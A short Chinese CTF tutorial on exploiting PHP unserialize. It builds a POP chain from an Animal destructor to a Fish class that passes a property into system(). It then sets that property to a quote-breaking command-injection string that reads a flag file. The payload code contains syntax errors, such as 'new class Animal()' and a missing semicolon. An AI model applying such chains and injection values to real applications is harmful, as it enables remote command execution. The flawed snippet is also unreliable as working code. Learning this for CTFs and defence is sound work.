PHP反序列化做题方法
一:基本步骤
1.简化:
把PHP代码复制到编辑器里面,寻找PHP反序列化的魔术方法,然后把不需要的部分删去
2.找链子:
通过以知的魔术方法,寻找到可以利用的点,然后想办法通过对象与方法的调用执行我们可以利用的函数
3.拿到我们的字符串进行传参
二:实例运用:
接下来用一到题来举个例子:
class Animal{ public $name; public function eat(){ return "eat"; } public function sleep(){ return "sleep"; } public function __construct(){ $this->name=new Bird(); } public function __destruct(){ //这里可以看到一个析构方法,并用move方法 $this->name->move(); } } class Bird{ public function move(){ return "wings"; } } class Fish{ public $dist="ocean"; public function move(){ return system("echo 'swim in $this->dist'");
//可以发这个类有move方法所以这里似乎可以 ,然后再看看其他地方发现暂时没有可以利用的地方
} }
所以我们第一步就把他简化出来
这里我们把不需要的类和方法去掉
class Animal{ public $name; public function __destruct(){ $this->name->move(); } } class Fish{ public $dist="ocean"; public function move(){ return system("echo 'swim in $this->dist'"); } }
简化之后得到如上代码
第二步找链子:
class Animal{ public $name; public function __destruct(){ //这里可以看到一个析构方法 $this->name->move(); //然后这里调用了这个类的属性name然后执行move方法 } //所以找我们的move方法 } class Fish{ public $dist="ocean"; public function move(){ return system("echo 'swim in $this->dist'"); //可以发这个类有move方法所以想办法写出链子执行访问这里 } }
//然后我们写链子
$a = new class Animal();
$f = new class Fish ();
//然后想让$a访问到move这里
//$f->dist="';cat ../f*";这里的$f后面写错误了,看上面system地方这里进行输出后会少一个单引号闭合
$f->dist="';cat /f*;echo '1" //这里后面再用一个echo输出'1进行闭合然后就可以执行命令了
$a->name=$f;//通过将$f赋值给name然后就可以通过$a 调用name属性时转跳到FISH类里面来调用move方法,这里就可以通过反序列化来执行命令了
需要注意:
要看执行方法输入的结构,观察是否闭合等,然后再来写我们的参数命令
有错误的地方还求大佬指点